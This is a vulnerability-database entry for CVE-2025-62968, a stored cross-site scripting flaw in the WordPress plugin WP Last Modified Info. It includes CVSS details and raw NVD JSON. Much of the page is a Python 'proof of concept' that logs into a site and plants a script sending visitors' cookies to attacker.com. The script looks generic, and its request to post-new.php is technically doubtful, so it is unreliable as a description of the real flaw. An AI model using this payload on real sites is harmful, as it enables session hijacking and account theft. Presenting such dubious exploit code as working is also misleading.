Security Vulnerability Report
中文
CVE-2025-62968 CVSS 6.5 MEDIUM

CVE-2025-62968

Published: 2025-10-27 02:15:57
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Sayan Datta WP Last Modified Info wp-last-modified-info allows Stored XSS.This issue affects WP Last Modified Info: from n/a through <= 1.9.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Last Modified Info <= 1.9.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from bs4 import BeautifulSoup # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password123" # XSS payload - stored in modified date field XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' def exploit_cve_2025_62968(): """ Exploit for CVE-2025-62968: WP Last Modified Info Stored XSS This PoC demonstrates how to inject malicious JavaScript through the plugin's input fields. """ session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Successfully logged in") # Step 2: Create or edit a post with the XSS payload in modified date field post_url = f"{TARGET_URL}/wp-admin/post-new.php" # The plugin stores the modified date in post meta post_data = { 'post_title': 'Test Post for XSS', 'content': 'This post contains XSS in modified date field', 'post_status': 'publish', '_wplm_last_modified': XSS_PAYLOAD # Plugin-specific field } response = session.post(post_url, data=post_data) if response.status_code == 200: print("[+] Malicious post created successfully") print(f"[*] Payload injected: {XSS_PAYLOAD}") print("[*] When admin or users view this post, the XSS will execute") return True return False if __name__ == "__main__": exploit_cve_2025_62968()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62968", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:57.213", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Sayan Datta WP Last Modified Info wp-last-modified-info allows Stored XSS.This issue affects WP Last Modified Info: from n/a through <= 1.9.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-last-modified-info/vulnerability/wordpress-wp-last-modified-info-plugin-1-9-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}